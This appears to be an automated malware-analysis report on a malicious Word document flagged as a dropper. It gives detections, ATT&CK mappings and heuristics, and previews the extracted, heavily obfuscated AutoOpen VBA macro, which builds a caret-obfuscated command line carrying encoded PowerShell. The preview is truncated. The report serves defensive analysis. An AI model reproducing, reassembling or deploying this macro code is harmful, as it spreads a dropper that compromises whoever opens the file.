MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro. The macro is obfuscated but appears to construct and execute a command. The ClamAV detection 'Doc.Dropper.Valyria-6666909-0' suggests this file is a dropper. The presence of an AutoOpen macro indicates it is designed to execute automatically upon opening, likely as a spearphishing attachment.
Heuristics 5
-
ClamAV: Doc.Dropper.Valyria-6666909-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Valyria-6666909-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 43089 bytes |
SHA-256: 51f595710ad459024f12df4a46f7367321602082ff4aa752661f4c7600fad20b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "vKSKEZoqA" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "jwLKAtJJfKECO" Function mHCuild() On Error Resume Next VarType 96 wGcQn = Int(759) cPMaKDwhd = "mD" + " " + "/V^" + ":^oN^ " + "^" + " " VarType 7 wGcQn = "ANZHL" UItjOVCLjOv = " /C" + " " + CStr(Chr(lfPXzLnGktbdhw + VFhfbPTT + 34 + azUKDJjNv + BTKrqCHlksBolk)) + " " + " SE^t" + " ^" + " " + "Mz=@o" + "#2/^s^" + ".2l" + "l^" + " (2 ^J^" + "ABQ^A^H" VarType CByte(zjijuQ * AaEGJ * AVMPTp * fOczdG) wGcQn = CDate(3071) wGcQn = "zMZdM" mzjlXZQzUJ = "c^AR" + "^#^A" + "9^" + "AG^4^AZ" + "Q^B^3AC" + "0A^b^" wGcQn = CDbl(5072) wGcQn = Sin(UuWSoV / zZFzJH) JMVTkf = "#B-AGo" + "A^ZQ^" + "B^jA" + "H" + "QAW" + "A^BO^A^" + "G" + "^U^" wGcQn = Hex(697) VarType 18 pCOjHSDOUB = "A" + "dAAu^" + "A" + ")cA^Z^Q" + "B^" + "-^A" + "E^MA^" mHCuild = cPMaKDwhd + UItjOVCLjOv + mzjlXZQzUJ + JMVTkf + pCOjHSDOUB IsArray Atn(362) VarType 3917 End Function Function WQwwrNhiX() On Error Resume Next VarType Sin(FKkrD + sMpNsm * 45992 * FBmmUn) VarType Log(78321 / 94219) IsArray "QDSiHj" HszKuKfdF = "b^AB^@" + "AG" + "^U^Abg" + "^B0A^D^" + "sAJAB" + "^" + "-^A)" + "^Q" + "^Aa^gA" + "^9^AC" + "cA^a" VarType "RAXHf" VarType "FPVmV" XnSwtGoVz = "^" + "A" + "^B^" + "0AH" + "^QAcA" VarType 8742 wGcQn = Tan(PSwAYf - RvECi) XbXzhLw = "A6AC8^A" + "L#^" + "Bu^A" + "^G^U^" + "A^" + "d^#Bz" + "AC4^AZ^" + "A" + "B@A" + "GcAaQ" + "B^" + "%" IsArray 3893 wGcQn = 152103109 cOTtTJWHR = "^" + "AG8^A^" + "b#B/" + "^" + "AC4A^" + "Y^" IsArray 9498 IsArray CCur(8) IsArray CDate(ibhtW + WwrOQz) UZPjdhv = "#^Bv^" + "A^" + "G^0^" + "AL^#^B^" + "PA" + "^E^g" + "^A^" wGcQn = Fix(51321 + 65339 + 37057 * zPYZth) IsArray "omhVh" AjmTniv = "`#^" + "B^sAE^" + "A^A^" + "a^AB^0A" + "H^QAc^" + "A^A^6AC" + "^8^AL^#" + "B^t^A^" + "G^UA^b^" + "g" + "^B0A" + "^G^8A" IsArray "ZcDCjj" IsArray 217 snLDi = "c^g^B" + "^iAH" + "Q^" + "Ac" + "g^B.^A" + "G^'^A" + "^" + "b^gB^@" + "AG^4" + "^" + "A^Z^#^A" + "^" VarType CDate(52112 / owdGL / 5831 - WhToW) VarType "Kujia" zraccGGzh = "uAG" + "^MA^" + "b^#^BtA" + "C^8A^" + "Z" wGcQn = Sqr(qzzsl * viKjt) wGcQn = Cos(tbOZpj * NOHqU) IsArray LCase(8370 * ocMif + BvwbJn * kwQSQ) KzELOjG = "^g" + "B" + "u^" + "A" + "G^W" IsArray Val(kozBtA * afLrL) VarType CCur(24367 / mszkn) IsArray "UYEAbR" MWNiYhOMBc = "^AO^Q^" + "BW^AEg" + "^AQ" + "^A" + "B^o^" VarType CDec(51) wGcQn = Val(1469) VarType LCase(PdEsqD) nqXGjMpAuMl = "AHQ^A" + "d^" + "A^B" + "^#" + "^AD^o^" + "A^L^#^A" + "v^AH" + "^" + "Q^AY^" + "Q^B^" + "0AG'^A^" + "bQA^u" + "A^" WQwwrNhiX = HszKuKfdF + XnSwtGoVz + XbXzhLw + cOTtTJWHR + UZPjdhv + AjmTniv + snLDi + zraccGGzh + KzELOjG + MWNiYhOMBc + nqXGjMpAuMl IsArray CBool(KAmSHC) IsArray Str(362827190) End Function Function ujzovumILfD() On Error Resume Next IsArray "QaJvj" VarType CStr(cBDUF) jVzFWuEQ = "G" + "^M^A^" + "b#B^tAC" + "4AY" + "gB^%^A" + "C^8A" + "^T^g" + "B^6" + "^" + "ADg" + "^A^QA" + "B^o^A" + "H" IsArray "uqlvwZ" VarType 8779 ZnjnRKbo = "Q^A" + "^dA^B" + "#AD" + "o^AL^#" + "Av^" + "A^GcA^Z" + "Q^BvA" + "^G" wGcQn = LCase(4) IsArray "fanbBY" VarType "IZtsj" XGiIHh = "^MAb" + "#^B." + "^" + "AG#ALg" + "B^" + "j" + "A^G^8^" + "A^Lg" + "^B" + "6A" IsArray 60 wGcQn = Int(miADXP) wGcQn = Str(7272) MwnGfv = "^G" + "^EAL" + "^#B`AH" + "^" + "QAR" + "g^B^" IsArray "cYqAA" IsArray CDate(DICznD) pTizTUzcXOs = "SA^G" + "8^AUA^B" + "^A^AGg^" + "Ad^A^" + "B" + "^0^A" wGcQn = 9194 wGcQn = Log(1) IsArray TimeValue(vdWFMa * aShQE) aUzsX = "H^A^A^O" + "^g^Av" + "AC^8A" + "Zg^B#" + "^AHc^" + "AL^gBj^" + "A^G^8" + "^A^bQ^A" + "^" + "u" + "A" VarType 5926 VarType CStr(4791) HhjPazZI = "^" + "G^0A2" + "Q" + "AvAHoA" + "^2QA" + "nAC^4" + "^AU" ujzovumILfD = ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.